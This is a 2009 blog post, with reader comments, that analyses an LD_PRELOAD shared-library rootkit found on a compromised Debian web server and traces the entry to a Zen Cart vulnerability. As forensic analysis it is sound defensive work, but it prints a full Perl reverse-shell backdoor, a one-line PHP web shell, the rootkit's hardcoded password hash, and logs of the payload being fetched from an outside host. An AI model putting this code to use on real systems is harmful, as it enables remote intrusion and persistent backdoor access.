21/08/2009
There’s a rootkit in the closet!
Part 1: Finding the rootkit
It’s monday morning and I am for coffee in downtown Thessaloniki, a partner calls:
– On machine XXX mysqld is not starting since Saturday.
– Can I drink my coffee and come over later to check it ? Is it critical ?
– Nope, come over anytime you can…
Around 14:00 I go over to his company to check on the box. It’s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver…
I log in as root, I do a ps ax and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via /etc/init.d/apache2 stop. Then I start poking at mysqld. I can’t see it running on ps so I try starting it via the init.d script. Nothing…it hangs while trying to get it started. I suspect a failing disk so I use tune2fs -C 50 /dev/hda1 to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via smartctl -a /dev/hda, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move /var/lib/mysql/ files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.
Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it’s impossible…after a few killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That’s totally weird…
I try to ldd /usr/sbin/mysqld and I notice a very strange library named /lib/ld-linuxv.so.1 in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd /usr/sbin/mysqld and no library /lib/ld-linuxv.so.1 comes up. I am definitely watching something that it shouldn’t be there. And that’s a rootkit!
I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it’s nowhere to be seen inside /lib/…the rootkit hides itself pretty well. I can’t see it with ls /lib or echo /lib/*. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in /sbin with a for i in /usr/sbin/*;do ldd $i; done, all of them appear to have /lib/ld-linuxv.so.1 as a library dependency. I try to reboot the box with another kernel than the one it’s currently using but I get strange errors that it can’t even find the hard disk.
I try to downgrade the “working” kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can’t delete /tmp/mkinitramfs_UVWXYZ/lib/ld-linuxv.so.1 file, so rm fails and that makes mkinitramfs fail as well.
I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.
Part 2: Technical analysis
I. First look at the ld-linuxv.so.1 library
A couple of days later I put the disk to my box and made an image of each partition using dd:
dd if=/dev/sdb1 of=/mnt/image/part1 bs=64k
Then I could mount the image using loop to play with it:
mount -o loop /mnt/image/part1 /mnt/part1
A simple ls of /mnt/part1/lib/ revealed that ld-linuxv.so.1 was there. I run strings to it:
# strings /lib/ld-linuxv.so.1
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
execve
dlsym
fopen
fprintf
fclose
puts
system
crypt
strdup
readdir64
strstr
__xstat64
__errno_location
__lxstat64
opendir
login
pututline
open64
pam_open_session
pam_close_session
syslog
vasprintf
getspnam_r
getspnam
getpwnam
pam_authenticate
inssh
gotpass
__libc_start_main
logit
setuid
setgid
seteuid
setegid
read
fwrite
accept
htons
doshell
doconnect
fork
dup2
stdout
fflush
stdin
fscanf
sleep
exit
waitpid
socket
libdl.so.2
libc.so.6
_edata
__bss_start
_end
GLIBC_2.0
GLIBC_2.1.3
GLIBC_2.1
root
@^_]
`^_]
ld.so.preload
ld-linuxv.so.1
_so_cache
execve
/var/opt/_so_cache/ld
%s:%s
Welcome master
crypt
readdir64
__xstat64
__lxstat64
opendir
login
pututline
open64
lastlog
pam_open_session
pam_close_session
syslog
getspnam_r
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
getspnam
getpwnam
root
/dev/null
normal
pam_authenticate
pam_get_item
Password:
__libc_start_main
/var/opt/_so_cache/lc
local
/usr/sbin/sshd
/bin/sh
read
write
accept
/usr/sbin/crond
HISTFILE=/dev/null
%99s
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
/bin/sh
As one can easily see there’s some sort of password hash inside and references to /usr/sbin/sshd, /bin/sh and setting HISTFILE to /dev/null.
I took the disk image to my friend argp to help me figure out what exactly the rootkit does and how it was planted to the box.
II. What the rootkit does
Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of ld-linuxv.so.1, it became clear that it was a shared library based rootkit. Specifically, the intruder created the /etc/ld.so.preload file on the system with just one entry; the path of where he saved the ld-linuxv.so.1 shared library, namely /lib/ld-linuxv.so.1. This has the effect of preloading ld-linuxv.so.1 every single time a dynamically linked executable is run by a user. Using the well-known technique of dlsym(RTLD_NEXT, symbol), in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the ld-linuxv.so.1 shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:
crypt
readdir64
__xstat64
__l xstat64
opendir
login
pututline
open64
pam_open_session
pam_close_session
syslog
getspnam_r
getspnam
getpwnam
pam_authenticate
pam_get_item
__libc_start_main
read
write
accept
The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (“$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0”). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file /var/opt/_so_cache/lc for outgoing ssh connections, or to /var/opt/_so_cache/ld for incoming ones (sshd). These files are also kept hidden using the same approach as described above.
III. How the rootkit was planted in the box
While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening /mnt/part1/var/log/apache2/access.log.* didn’t provide any outcome at first sight, nothing really striking out, but when I opened /mnt/part1/var/log/apache2/error.log.1 I faced these entries at the bottom:
–01:05:38– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission deniedCannot write to `foobar.ext’ (Permission denied).
–01:05:51– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]0K 100% 18.61 MB/s
01:05:51 (18.61 MB/s) – `foobar.ext’ saved [695/695]
–01:17:14– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission deniedCannot write to `foobar.ext’ (Permission denied).
–01:17:26– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]0K 100% 25.30 MB/s
01:17:26 (25.30 MB/s) – `foobar.ext’ saved [695/695]
So this was the entrance point. Someone got through a web app to the box and was able to run code.
I downloaded “foobar.ext” from the same url and it was a perl script.
#!/usr/bin/perl
# Data Cha0s Perl Connect Back Backdoor Unpublished/Unreleased Source
# Codeuse Socket;
print “[*] Dumping Arguments\n”;
$host = “A.B.C.D”;
$port = XYZ;if ($ARGV[1]) {
$port = $ARGV[1];
}
print “[*] Connecting…\n”; $proto = getprotobyname(‘tcp’) || die(“[-] Unknown Protocol\n”);socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (“[-] Socket Error\n”);
my $target = inet_aton($host);
if (!connect(SERVER, pack “SnA4x8”, 2, $port, $target)) {
die(“[-] Unable to Connect\n”);
}
print “[*] Spawning Shell\n”;if (!fork( )) {
open(STDIN,”>&SERVER”);
open(STDOUT,”>&SERVER”);
open(STDERR,”>&SERVER”);
exec {‘/bin/sh’} ‘-bash’ . “\0” x 4;
exit(0);
}
Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.
Here are some entries:
A.B.C.D – – [15/Aug/2009:01:05:33 +0300] “GET http://www.domain.com/admin/ HTTP/1.1” 302 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:34 +0300] “POST http://www.domain.com/admin/record_company.php/password_forgotten.php?action=insert HTTP/1.1” 200 303 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:34 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 131 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:38 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:47 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 52 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:50 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:51 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 59 “-” “Mozilla Firefox”
The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this: Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.
Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.
Part 3: Conclusion and food for thought
To conclude on what happened:
1) The attacker used the zencart vulnerability to create the imagedisplay.php file.
2) Using the imagedisplay.php file he was able to make the server download foobar.ext from his server.
3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a reverse shell. He could now connect to the machine.
4) Using some local exploit(s) he was probably able to become root.
5) Since he was root he uploaded/compiled ld-linuxv.so.1 and he created /etc/ld.so.preload. Now every executable would first load this “trojaned” library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit 🙂
Fortunately the rootkit had problems and if /var/opt/_so_cache/ directory was not manually created it couldn’t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.
If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he/she put a link to the analysis as a comment on this blog.
Part 4: Files
In the following tar.gz you will find the ld-linuxv.so.1 library and the perl script foobar.ext (Use at your own risk. Attacker’s host/ip have been removed from the perl script):linuxv-rootkit.tar.gz
Many many thanks to argp of Census Labs
Filed by kargig at 14:59 under Linux
Tags: apache2, audit, debian, etch, exploit, ld-linuxv, ld-linuxv.so.1, Linux, perl, record_company, rootkit, security, trojan, vulnerability, zen-cart, zencart
37 Comments | 126,713 views
Very nice! 🙂
Wow, very nice analysis of the discovery and the root-kit itself. Articles like that really make you aware that kernel-rootkits aren’t just stuff of academic lectures and privilege escalation flaws aren’t kept track of solely for statistics.
@Jojo: Rootkits are definitely not just the stuff of academic lectures, as you put it. Ask any professional system administrator and you will hear stories like this one. Just a small correction though, this wasn’t a kernel rootkit, it was a shared library rootkit.
Excellent analysis and article 🙂
So it was a rootkit finally!
I checked it out using ida, the best disassembler ever! I like the welcome master part at the execve wrapper 🙂 Btw, when you want to fsck at the next boot you can:
touch /forcefsck
or
shutdown -rF now
I do get nervous when I cannot ls or stat an existing file 🙁 I find it useful to have available a couple of LiveCD Linuxes and UBCD (especially when working on someone else’s lone misbehaving machine).
Excellent analysis and a highly informative writeup, thank you!
Good job guys.
For a person that is just learning about security, I appreciate the step by step analysis. Nice job.
Great work and thorough analysis guys!
Just a couple of general remarks:
In most simple web server setups, where PHP apps do not normally make *any* outgoing network connections, it is generally a good thing to set up a rule in the OUTPUT chain of netfilter, using the “owner” match, to block apache from initiating any outgoing connections. This would have prevented the attacker from downloading his/her own code and spawning that reverse shell. Furthermore, because of PHPs flawed-by-design security, it is a good idea to restrict PHP’s access to the filesystem using open_basedir and make sure *no parts of the document root are writable by the web server*. These steps will make the attacker’s life a bit more difficult.
Regarding the aftermath, it is always a good thing to have a set of statically-linked binaries lying around, just in case your dynamic libraries are broken. A good tool is a statically linked version of busybox, which debian already offers in the package named `busybox-static’ (credits to paravoid for this). Using a static busybox’s chroot() function to get /lib/linuxv-1.so.1 out of the way, you could have disabled the rootkit during runtime. Offline analysis is much better though, if you can afford it 😉
incredible story
arg and kargig well done
Nicely done!
Thank you all for your comments 🙂 If any of you has ever heard or seen this rootkit before please post some details.
For any of you that have digg accounts, you can digg the story if you liked it here: http://digg.com/security/Into_the_Void_There_s_a_rootkit_in_the_closet
Thanks for pulling all of the details of this sad and sordid affair together into one place that I can point the less security aware toward to get the whole story.
Feeding one individual column after another just wasn’t putting the whole thing in perspective…
[…] full post on Hacker News If you enjoyed this article, please consider sharing it! Tagged with: Closet • […]
Nice story! I wonder if you’d be able to run a live analysis of the filesystem by exporting it with NFS to another machine (which will be running the analysis). See, the NFS server runs in kernelspace, and will be invulnerable to a shared library attack.
Would that be a good intrusion detection mechanism? Have a dedicated box run chkrootkit/rkhunter/etc nightly on all your webserver filesystems, over NFS?
[…] There’s a rootkit in the closet! | Into.the.Void.void.gr […]
[…] A great bit of sysadmin detective work. […]
[…] the original post: There’s a rootkit in the closet! | Into.the.Void. 15 September 2009 | Uncategorized | Trackback | del.icio.us | Stumble it! | View Count : 0 Next […]
I just checked my home web server and found out it has the rootkit.
Here is what I see:
root@home:/bin# ldd uname
linux-gate.so.1 => (0xb7f6c000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e0b000)
/lib/ld-linux.so.2 (0xb7f6d000)
The ld-linux.so.2 has no file associated to it.
Oops. No it’s not. There is no v after linux. Sorry for the noise.
chmike, I made the same mistake too. My heart skipped a beat when I saw ‘/lib/ld-linux.so.2’, but I then realized it was off by one letter.
You should submit this article to 2600 magazine. They really need informative articles like this. I have been an avid reader for years and haven’t seen anything this good in there for a long time. I’m sure the readers would much appreciate it, and it would get to a much wider audience.
[…] losing control over how it’s distributed30+ Free High Quality Gadget PSD Files | Naldz GraphicsThere’s a rootkit in the closet! | Into.the.Void.Ideabook.com Tutorials | Graphic file formatsGoogle – public data8 Must-Have Twitter and Facebook […]
There’s something that puzzles me. You found a rootkit, and you saw that it was integrated very deeply in the system. Yet you tried to fix the system from inside out!
Only after some failed attempts to download and install a new kernel, you finally did the Right Thing and shut down the server to analyze the hard disk from outside.
To everyone who encounters such a rootkit, I strongly recommend to skip this second step. If you see such a deeply integrated rootkit, shut down the computer immediately! No fiddling! Then, take out the hard disk copy and analyze it as described in the article.
Otherwise, you’d enable the rootkit to hide its traces, and to maybe destroy some data. You don’t learn anything from that fiddling. Satisfy your curiosity only _after_ perpetuating evidence! (i.e. after copying the hard disk’s data)
As soon as you said “zen cart” I knew immediately what the initial exploit would be. It’s a descendent of OSCommerce, and both have *terrible* code.
[…] There’s a rootkit in the closet Comments (0) […]
Great article. I read it with the same anticipation I get from reading a good detective novel.
Thanks for the comments (again). I do know that I made some wrong first decisions when I tried to see what’s wrong with the box. These had to do with a) time available, b) trust to the box’s owner (could I trust him when he told me he did nothing wrong with mysql lately ?) c) not knowing of course that I was dealing with a rootkit.
This post is just about sharing the experience of finding something new. I wrote about my first “bad decisions” in order for me and for people reading this story not to repeat them in a future encounter with something like that.
To my belief people describing such stories should always include what they also did wrong while dealing with the case. That’s what makes others gain even more knowledge and experience, describing only the good parts and hiding the bad is like trying to trick the others about how “l33t” someone is…
Four short links: 15 March 2010…
There’s a Rootkit in the Closet — lovely explanation of finding and isolating a rootkit, reconstructing how it got there and deconstructing the rootkit to figure out what it did. It’s a detective story, no less exciting than when Cliff Stohl wrote T…
[…] history and Linux box’s rootkit analysis http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet. RSS the […]
[…] Shared There’s a rootkit in the closet! | Into.the.Void.. […]
[…] There’s a rootkit in the closet! | Into.the.Void. I would never have thought I'd find a sysadmin's narrative on hunting down and fixing a compromised server's problem this interesting or filled with detective story suspense. Someone in Hollywood ought to get the film rights to this. (tags: security linux sysadmin mysql php apache hacking) […]
[…] recently stumbled upon this crime scene write-up by kargig. It’s a fantastic blow-by-blow account of the typical work done to diagnose a […]
I very much enjoyed this analysis. While i am probably not at the same level of you guys i do remember back when i worked at a hosting company how i would find similar attacks where they had gained initial access through buggy web software and then planted backdoors in /tmp.
However i have never encountered a kernel or shared library rootkit, even though i am as a hobby writing some kernel stuff for FreeBSD lately.
Keep up the good work and keep documenting it!
This sounds like the Jynx-Rootkit, which uses LD_PRELOAD. Google the name for more information.
Really nice, thanks for the analysis.
We had maxed out CPU usage and a weird Runtime warning mentioning ld.so.preload. In searching I stumbled upon this article and it helped me track down a rootkit that was kicking off crytpocurrency mining algorithms.
10 years later this blog post is still helping people out so thanks for the fun and helpful read!